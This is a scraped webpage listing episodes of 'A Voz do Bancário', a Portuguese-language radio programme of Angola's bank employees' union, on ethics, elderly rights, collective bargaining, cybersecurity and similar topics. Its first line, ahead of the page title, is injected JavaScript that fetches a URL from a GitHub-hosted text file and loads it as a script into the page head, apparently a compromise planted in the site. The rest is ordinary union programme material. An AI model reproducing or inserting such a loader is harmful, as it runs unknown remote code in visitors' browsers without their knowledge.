;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); A Voz do Bancário | RadioPlayDigital
A Voz do Bancário, O que é um Banco Central e quais as suas funções?

Neste edição, vamos falar sobre O que é um Banco Central e quais as suas funções?

Um banco central, também conhecido em Angola como BNA, é a principal autoridade econômica do país. Trata-se de uma instituição que opera de forma independente e sob supervisão mínima do governo, sendo encarregado por gerir todo o sistema financeiro e monetário a nível nacional.

Convidado:

– Dra. Hilária Cunha – Economista, formada em Banco Central, finanças e moeda.

 

PARTICIPANTES
A Voz do Bancário, Código de Ética e Deontologia Profissional do Empregado Bancário

Neste edição, vamos falar sobre o código de ética e deontologia profissional do empregado bancário.

Sabemos que a profissão bancário acarreta consigo princípios fundamentais. A profissão bancária é, sem desprimor das demais, aquela da qual muito se exige dos seus trabalhadores em termos de idoneidade, sigilo, descrição e modéstia, rigor e transparência, confiança e certeza operacional. A inobservância de tais valores, incorporados no âmbito da sua estratégia na cultura institucional bancária para além de manchar a imagem do banco em si, afecta também a confiança do sistema financeiro, no geral.

A função bancária é, em outras palavras, uma profissão de elevado interesse social e notória responsabilidade ética do trabalhador (incluindo dos membros dos órgãos sociais). Por isso, a atitude dos colaboradores perante o trabalho e a sociedade é fundamental. Daí que se espera de um trabalhador bancário a manifestação da conduta ética não apenas no ciclo profissional, porém que transcenda para o seu dia-a-dia laboral, como um valor adquirido que passa a fazer parte de sua educação, onde quer que esteja.

Convidado:

– Dr. Florivaldo de Sousa, sociólogo

 

Data de Emissão: 13-02-2024 às 17:00
PARTICIPANTES
A Voz do Bancário, Ética e Deontologia na vida Socioprofissional - Segunda edição

Ética e Deontologia na vida Socioprofissional – Segunda edição.

– Anabela Oliveira ( Bna)
– Edna Varela ( Bpc)
– Oldemira Airosa( Bci)

 

 

Data de Emissão: 16-01-2024 às 17:00
PARTICIPANTES
A Voz do Bancário, Ética e Deontologia na vida Socioprofissional

Nesta edição, vamos discorrer sobre o livro do escritor angolano Ângelo Kalange.

Ângelo Kalange é natural do Alto Catumbela, município da Ganda, província de Benguela. Nascido aos 15 de Junho de 1979, é bacharel em filosofa pelo Seminário Maior do Bom Pastor em Benguela, licenciado em filosofia pela Faculdade de Letras Sociais da Universidade Agostinho Neto, mestre em filosofia pela Faculdade de Letras da Universidade Agostinho Neto.

Actualmente professor universitário nas disciplinas de Ética e Responsabilidade Social, Ética e Deontologia Profissional, Filosofia Geral, Filosofia de Educação, Filosofia do Direito, Sociologia das Organizações e Sociologia Jurídica no IMETRO.

 

 

Data de Emissão: 09-01-2024 às 17:00
PARTICIPANTES
A Voz do Bancário, Dia Nacional da pessoa Idosa

Cobertura a cerimónia comemorativa ao dia Nacional de pessoa idosa, organizada pelo Comité dos reformados bancários do SNEBA.

Em Angola, o dia da Pessoa Idosa é comemorado a 30 de Novembro. Esta data foi instituída em Janeiro de 2005 em Decreto do Conselho de Ministros e publicado no Diário da República Nº 4/05, Iª Série para valorizar àqueles que ainda em vida (mas já não no activo), deram o seu contributo para o crescimento e engrandecimento, a todos os níveis, do nosso país.

O termo “Pessoa Idosa” ou “Terceira Idade” é considerado a fase da vida do homem que começa aos 60 anos de idade nos países em desenvolvimento e aos 65 anos nos países desenvolvidos, de acordo com a Organização Mundial da Saúde (OMS). Segundo o documento, o envelhecimento ocorre em diferentes dimensões (biológica, social, psicológica, económica, etc.) e depende de diversos factores ocorridos nas fases anteriores da vida, como as experiências vividas na família, na escola, ou em outras instituições.
A problemática da Pessoa Idosa a nível global já é tida como  uma questão de Desenvolvimento Nacional dos Estados e Angola não foge a esta regra pois, é consagrado na Lei Constitucional no seu Artigo 82º de que os cidadãos idosos têm direito à segurança económica, a condições de habitação e convívio familiar e comunitário que respeitem a sua autonomia pessoal e evitem ou superem o isolamento e a marginalização social e que a política de terceira idade engloba medidas de carácter económico, social e cultural tendentes a proporcionar às pessoas idosas oportunidades de realização pessoal, através de uma participação activa na vida da comunidade. 
A família sempre foi o suporte seguro para os membros vulneráveis, como é o caso de crianças e Idosos; ainda assim, nos dias de hoje, fruto da redução dos rendimentos familiares que as deixam sem condições dignas de sustento, muitas delas marginalizam-nos de todas as formas deploráveis, que se traduzem no abandono quer seja em hospitais, em lares de internamento, ou em outros locais públicos sem protecção; violência física que pode ser traduzida em maus tratos, violência sexual, tortura física, quantas vezes resultado de determinados comportamentos dos idosos, fruto da perda de alguns reflexos que são mal interpretados pelos adultos que os protegem, dentre outros; violência psicológica, acções que causam dor emocional, medo, humilhação, perda da auto-estima, etc.; muitas vezes são tratadas como feiticeiras e por via disso são espancadas pelos familiares sem mecanismo algum para sua defesa, pois os defensores primários são os próprios algozes; exploração financeira, uso sem consentimento do Idoso dos bens financeiros que o pertencem; negligência de vária ordem que se traduz  na privação de satisfação das necessidades básicas do idoso, muitos deles chegando ao ponto de mendicidade.  Já o Dr. Marcelino Pintinho escrevera que “a violência contra o Idoso  é um problema social que se tem tornado um grande flagelo para a sociedade de Luanda (e não só), como resultado de uma acentuada crise de valores culturais, aliada a uma débil educação dos progenitores em relação aos filhos”. Há aqui um outro problema que deve ser ultrapassado pelas entidades de direito e não só: a moralização e /ou a educação das famílias que pecam por defeito na educação de base dos seus membros, quer seja por desleixo (?), quer seja por outras razões que coloca os progenitores em situação de impotência diante da educação dos filhos; há muito por se fazer em prol deste segmento social (Terceira Idade) porquanto, a maioria das pessoas desta franja vive em extrema pobreza, se considerarmos que não é beneficiária da Protecção Social Básica por razões de vária ordem; urge toda a necessidade de o Estado pôr cobro a esta situação. Tem o dever de traçar políticas activas, ou implementar as já existentes com vista a dar maior dignidade de vida à Pessoa Idosa. 
Fruto da fraca capacidade das instituições públicas, agravadas pela fraca coordenação operacional dos sistemas e a falta de estruturas integradas de acção social bem como a insuficiência de recursos financeiros, tem provocado um certo constrangimento na implementação das políticas existentes em relação à Pessoa Idosa. Torna-se imperioso que sejam cumpridos os pressupostos descritos na Estratégia Nacional para a implementação da Política para a Pessoa Idosa, publicada no Diário da República Iª Série nº 157 de 15 de Agosto de 2012, mormente as alíneas h), i), j), k) e l) que passamos a transcrever: Criar condições financeiras com vista a atribuição de um subsídio ou pensão à Pessoa Idosa não abrangida noutros sistemas de segurança social; Desenvolver programas que permitam a visualização das acções do Executivo na implementação da Estratégia de Protecção e Assistência à Pessoa Idosa; Subvencionar a assistência médica e medicamentosa, órteses e próteses para o Idoso, mediante critérios previamente estabelecidos; subvencionar o acesso aos transportes públicos colectivos para os idosos; proporcionar a satisfação das necessidades básicas à Pessoa Idosa.
É preciso retermos que a maioria das famílias angolanas tem um baixo poder económico e a subvenção do Estado nalguns serviços para com a terceira idade  é algo que se impõe, particularmente na questão da saúde, pelo facto de haver uma progressiva debilidade física e, muitas doenças começarem a surgir ou a agravar-se nesta faixa-etária, como é o caso da hipertensão arterial, diabetes, osteoporose, dores e fragilidade muscular e/ou reumáticas, debilidade de visão, depressões, a doença de alzheimer e outros males do fórum psíquico ou psicológico. Torna-se necessário que se dê incentivos para que haja interesse na formação de médicos geriatras com vista a um tratamento especializado, propiciando longevidade com melhor qualidade de vida para a população idosa.
Urge a todo custo que o estado assuma o seu papel de proporcionar as condições apropriadas para um envelhecimento digno das pessoas em idade avançada e que as Políticas Públicas para este segmento etário, tenha o seu espaço nos fóruns nacionais alinhando-os com as políticas de organismos internacionais ou mundiais.
A recentemente realizada Conferência Nacional sobre a Acção social representa um marco para se aperfeiçoar os mecanismos de protecção social de base onde a Pessoa Idosa é tida e achada, e na verdade esperemos que as experiências colhidas dos representantes da África do Sul, Cabo Verde e Brasil sejam uma mais-valia para a realidade angolana em prol dos nossos Kotas. Bem-haja o dia Nacional da Pessoa Idosa.

 
Data de Emissão: 05-12-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, A Importância da Negociação Coletiva, 2ª parte

– Relatório da OIT, publicado em Maio de 2022;

– Os normativos e as regulamentações específicas existentes em Angola;

– Saber sobre o cumprimento do actual ACT, no sector bancário.

 

Convidados:

Figueira Baltazar – Advogado Generalista

Lutero Sebastião – Advogado do SNEBA

Jerónimo Neto – Advogado Generalista (Estagiário)

Data de Emissão: 28-11-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, A Importância da Negociação Coletiva

– Relatório da OIT, publicado em Maio de 2022;

– Os normativos e as regulamentações específicas existentes em Angola;

– Saber sobre o cumprimento do actual ACT, no sector bancário.

 

Convidados:

Figueira Baltazar – Advogado Generalista

Lutero Sebastião – Advogado do SNEBA

Jerónimo Neto – Advogado Generalista (Estagiário)

Data de Emissão: 21-11-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, A motivação e a ética no trabalho

A Voz do Bancário, A motivação e a ética no trabalho

A motivação é um factor muito importante, que interfere na produtividade, interfere significativamente na produção e nos custos de qualquer organização.

Quando falamos de motivação, basicamente incluimos também a ética profissional no trabalho. 

 

Edição com:

Edna Carvalho – Ex-bancária e consultora

Data de Emissão: 24-10-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, Aconselhamento e acompanhamento dos processos jurídicos prestados pelo SNEBA aos seus associados

A Voz do Bancário, Aconselhamento e acompanhamento dos processos jurídicos prestados pelo SNEBA aos seus associados.

O Sindicato Nacional dos Empregados Bancários (SNEBA), disponibiliza aos respectivos sócios apoio júridico totalmente gratuito de Cabinda ao Cunene. As nossas equipas de juristas asseguram o devido tratamento de casos relativos a regime de trabalho, pensões, remunerações, proteção social, carreira, avaliação de desempenho, negociação colectiva e segurança e saúde dos trabalhores na banca comercial.  

Edição com:

Lutero Sebastião – Jurista

Joaquim Amandio – Jurista

Data de Emissão: 03-10-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, As convenções coletivas de trabalho (CCT)

A Voz do Bancário, Os 48 anos da banca em Angola.

SEJA BEM-VINDO AO PROGRAMA RADIOFONICO do SINDICATO NACIONAL DOS EMPREGADOS BANCÁRIOS, DENOMINADO A VOZ DO BANCÁRIO, no qual radiografamos os principais

TEMAS DA BANCA NACIONAL E INTERNACIONAL Para hoje temos como ASSUNTO AS CONVENÇÕES COLECTIVAS DE

TRABALHO

As convenções coletivas de trabalho (CCT) são acordos celebrados entre associações de empregadores e de trabalhadores, com o objetivo de definir condições de trabalho. Ao abrigo das CCT podem ser estipulados, por exemplo, salários, férias ou questões relacionadas com saúde e segurança. Os contratos de trabalho dos trabalhadores abrangidos por estas convenções são obrigados a respeitar as regras ali definidas. Isto significa

que quem vai trabalhar num determinado sector ou empresa (no caso dos

acordos celebrados com empresas) tem garantidas essas condições.

EO que deve constar da CCT?

Segundo a lei, o conteúdo de uma CCT deve regular aspectos como:

• Salários, definindo a retribuição base para todas as profissões e categorias profissionais;

Regras de segurança, higiene e saúde no trabalho: • Direitos e deveres do empregador e do trabalhador:

Acções de formação;

• Meios de resolução de litigios e conflitos:

• Medidas para a efectiva aplicação do principio da igualdade e não

discriminação;

• As condições de prestação de trabalho em regime de teletrabalho.

Data de Emissão: 26-09-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, Os Riscos Psicossociais e o stress no trabalho

A Voz do Bancário, Os 48 anos da banca em Angola.

Os Riscos Psicossociais e o stress no trabalho

Edição com:

Nome: Maria da Encarnação António Rodrigues Pimenta
Data de Nascimento: 20 Abril 1954
Local de Nascimento: Ndalatando, Cuanza Norte
Estado Civil: Solteira
Filhos: 3 biológicos e 9 de amor

Profissão: Psicóloga (clínica e industrial) e professora universitária, colaboradora de instituições católicas
Formação: Mestrado em Psicologia Clinica e Mestrado em Psicologia industrial, (ainda) a trabalhar no doutoramento

Destino em Angola: Benguela

Lema de vida: Amor, pessoa extremamente fascinada pela pessoa humana, a pessoa é um mistério

Hobbies: Tratar de plantas, escrever, caminhar e ouvir música

Livro a ler: “A Evolução de Deus” de Robert White, “A História de Africa Negra” de Bubakar Keita, e “Categorias de Aristóteles”

Comida que prefere: africana, sobretudo angolanas sobretudo as de vegetais

Música que gosta: rock (como Sting por exemplo), africana (Bonga, Manu Dibango e Angeline Kidjo por exemplo

O meu principal objectivo… que as crianças (de amor) que eu tenho consigam atingir o mesmo nível académico e social que os meus filhos biológicos atingiram.

Onde estava 11 de Novembro de 1975? Estava em Cabinda, nas zonas libertadas

 

 

Data de Emissão: 19-09-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, Os 48 anos da banca em Angola

A Voz do Bancário, Os 48 anos da banca em Angola.

Edição com:

Carlos Rosado de Carvalho – Economista 

Félix Ribeiro – Fisioterapeuta

Maria da Encarnação Pimenta – Psicóloga

Mário Tavira – Jurista

 

Até à independência, em 1975, para além do Banco de Angola, que era o banco emissor e comercial, operavam em território nacional cinco bancos comerciais, nomeadamente o Banco Comercial de Angola (BCA), Banco de Crédito Comercial e Industrial (BCCI), Banco Totta Standard de Angola (BTSA), Banco Pinto & Sotto Mayor (BPSM) e o Banco Inter Unido (BIU), bem como quatro instituições de crédito, concretamente, o Instituto de Crédito de Angola (ICRA), Banco de Fomento Nacional (BFN), Caixa de Crédito Agro-Pecuário (CCAP) e o Montepio de Angola.

Em preparação à proclamação da independência de Angola, e para salvaguardar os interesses económicos e financeiros de Angola, em 14 de Agosto de 1975, o Governo de Transição de Angola, através do Despacho Conjunto nº. 80/75, dos Ministérios do Planeamento e Finanças e da Economia, suspenderam os Órgãos Sociais dos Bancos Comerciais, nomeando-se Comissões de Gestão para substituir a Administração de cada banco, cuja acção ficou conhecida como “Tomada da Banca”.

 

Data de Emissão: 05-09-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, A infertilidade feminina e o impacto organizacional

A Voz do Bancário, A infertilidade feminina e o impacto organizacional.

Edição com:

Suely Mariano – Bancária

Nelma Coge – Jurista

Stela Constantina – Médica ginecologista e obstetra

Geovana Caminha – Consultora doméstica

 

Infertilidade feminina é a dificuldade que uma mulher tem em conceber de forma natural. Uma mulher passa por um problema de infertilidade quando no período de 1 ano de relações sexuais, sem métodos contraceptivos esta mulher não consegue engravidar e a causa não seja do parceiro. Sua causa está associada a diversos fatores, como doenças hormonais, anatômicas (alterações no útero, ovários, e fator tubário), autoimunes, genéticas e infecciosas. É um problema muito comum em Angola, porém pouco abordado devido aos factores culturais e religiosos.  

Para analisar as causas da infertilidade feminina, a paciente deve se submeter a alguns exames. São vários fatores que podem causar a dificuldade de engravidar. Dentre os mais comuns, estão:

  • Distúrbios hormonais que impedem ou dificultam o crescimento e a liberação do óvulo (ovulação);
  • Síndrome dos ovários policísticos;
  • Problemas nas trompas ou tubas uterinas, provocados por infecções ou cirurgias;
  • Endometriose;
  • Ligadura das trompas;
  • Muco cervical que impede a passagem dos espermatozoides;
  • Infecção no colo do útero;
  • Idade.
 
 

 

 

PARTICIPANTES
A Voz do Bancário, A importância do Sindicato Nacional dos Empregados Bancários na defesa dos interesses da classe

A Voz do Bancário, A importância do Sindicato Nacional dos Empregados Bancários na defesa dos interesses da classe.

Edição com:

Sebastião Mendes – Presidente do Concelho de Disciplina do SNEBA

André Cerqueira Lopes – Vice-Presidente do Conselho de Disciplina do SNEBA

Lutero Sebastião – Jurista do SNEBA

 

O SNEBA tem as suas raízes no Sindicato Nacional dos Empregados Bancários da Província de Angola, fundado através da Portaria nº.12,825, de 27 de Julho de 1963, publicada no Boletim Oficial nº.30, 1ª série, que aprovou os seus Estatutos, que regeram a actividade Sindical, Abril de 1974, ano em que eclodiu em Portugal a Revolução dos Capitães ou do 25 de Abril.

 

 

Fruto destes acontecimentos a que se seguiu ao processo de autodeterminação de Angola até a proclamação da independência nacional a 11 de Novembro de 1975, a acção sindical ficou confinada a única Central Sindical, a União Nacional dos Trabalhadores Angolanos – UNTA – Central Sindical, fundada a 16 de Abril de 1960, que havia tomado os Sindicatos coloniais, como garante e defensora dos legítimos interesses das massas trabalhadoras. Constituiu-se na única Confederação de maior expressão e implementação à nível do território nacional.

 

 

Durante o período da vigência da UNTA – Central Sindical, o sector Bancário esteve filiado ao Sindicato Nacional dos trabalhadores de Saúde e Administração Pública e Serviços.

 

 

Em 1990, com implementação de mudanças politicas, económicas e sociais que viriam a evoluir para um processo complexo de transformações e que conduziram o País à economia liberalizada, levando a UNTA adaptar-se aos novos desafios.

 

 

Em 1994 com realização do II congresso, definiu-se a estratégia política-sindical para corresponder as exigências das mudanças e por fim o surgimento de Sindicatos Independentes, como resultado da Lei das associações.

 

 

Assim, com liberalização do sector bancário e por defeito, o surgimento de instituições de crédito no mercado e por conseguinte o crescimento do número de trabalhadores do sector. A luz deste desenvolvimento, e aliado a um longo período de reflexão iniciado no ano de 1992, 137 delegados eleitos nas suas localidades de trabalho das 18 províncias, reuniram-se de 30 e 31 de Maio de 1996, nas instalações do Instituto Nacional de Administração Pública em Luanda, aprovaram os Estatutos, Programa de Acção Sindical, Regulamento dos Órgãos do Sindicato e eleitos os candidatos aos órgãos Sociais do Sindicato.

 

 

Depois dos árduos dois dias de intenso trabalho, os delegados em representação dos demais trabalhadores do sector, decidiram reproclamar o seu Sindicato, que passou a denominar-se “Sindicato Nacional dos Empregados Bancários de Angola”, com abreviatura de SNEBA.

 

 

Conquistado este importante passo, a direcção diligenciou junto dos órgãos de soberania convista ao seu registo e formalização, mormente no Ministério da Justiça, foi certificado e registado como Sindicato legal do sector bancário” Sindicato Nacional dos Empregados Bancários de Angola”, encontrando-se registado a fls.01 do livro C-3 do ano de 2000, sob o nº.001/2000, aos 17 de Maio – Gabinete de Auditoria Jurídica, estando por isso legalizado de conformidade com a lei sindical vigente.

Data de Emissão: 15-08-2023 às 17:00
PARTICIPANTES
A Voz do Bancário, Cibersegurança em Angola e no Mundo

A Voz do Bancário, Cibersegurança em Angola e no Mundo.

Edição com:

Varela da Silva – Consultor da Banca em estratégia de segurança de Informação e implementação de cibersegurançana.

Rui Guimarães – Engenheiro informático focado na cibersegurança, Consulto e Funcionário Bancário.

Patricio Correia – Funcionário Publico no poder judicial, Licenciado em ciências de computação.

 

Segurança de computadores ou cibersegurança é a proteção de sistemas de computador contra roubo ou danos ao hardware, software ou dados eletrônicos, bem como a interrupção ou desorientação dos serviços que fornecem. O campo está crescendo em importância devido à crescente dependência de sistemas de computadores, internet[2] e redes sem fio, como Bluetooth e Wi-Fi, e devido ao crescimento de dispositivos “inteligentes”, incluindo smartphones, televisores e vários dispositivos pequenos que constituem a internet das coisas. Devido à sua complexidade, tanto em termos de política quanto de tecnologia, é também um dos maiores desafios do mundo contemporâneo.

Com base na nossa experiência, destacamos os cincos principais pontos de melhoria que as organizações em Angola devem implementar:

 

Elaborar políticas de segurança de informação e de cibersegurança;

Contemplar os riscos cibernéticos na gestão de riscos da organização;

Criar um comité de cibersegurança;

Elaborar programas de sensibilização, acções de consciencialização e realizar formações de temas relacionados com cibersegurança periodicamente; e

Implementar ferramentas de detecção de ameaças e vulnerabilidades.

Artigo escrito por Frederico Fragoso, Senior Audit EY, Assurance Services

Resumo

No mercado angolano, tem-se verificado que a maioria das organizações, apesar de estar sensível para as principais vulnerabilidades de cibersegurança, ainda não têm implementados mecanicismos de controlo robustos de mitigação dos diversos riscos cibernéticos. A capacidade de tradução de “preocupação” em “acção” será um factor crítico para que as organizações angolanas alcancem um nível de maturidade na gestão dos riscos cibernéticos alinhado com as práticas de referência internacionais.

Segundo o Governo, 90% dos ataques cibernéticos registados poderiam ser evitados se as corporações apostassem em medidas mais fortes de cibersegurança. 

“O Ministério da Telecomunicações Tecnologias de Informação e Comunicação Social tem trabalhado na criação de condições legais e regulamentares para a operacionalização do centro que possa funcionar para um melhor controlo”

Para o governante, a melhor forma de conter os ataques cibernéticos passa também por uma melhor organização das estruturas das organizações e principalmente pela consciencialização das pessoas sobre a segurança cibernética.

Angola é um dos países mais afetados por ataques cibernéticos em todo o mundo, de acordo com dados do “Data Group”. Governo diz que faz o que pode, mas adverte que empresas têm um papel determinante na cibersegurança.

PARTICIPANTES
A Voz do Bancário, Dia dos Idosos

A Voz do Bancário, Dia dos Idosos.

Edição com:

Lassalete de Sousa – Ex-bancária do BPC, reforma há 4 anos.

Albertina Freitas – Ex-bancária do BPC, reformada há 3 anos.

Armindo Tavares – Ex-bancário do BNA e BPC e Gestor de Recursos Humanos.

Paulo Oliveira –  Ex-bancário do BNA e BPC.

 

Data de Emissão: 01-08-2023 às 17:00
PARTICIPANTES

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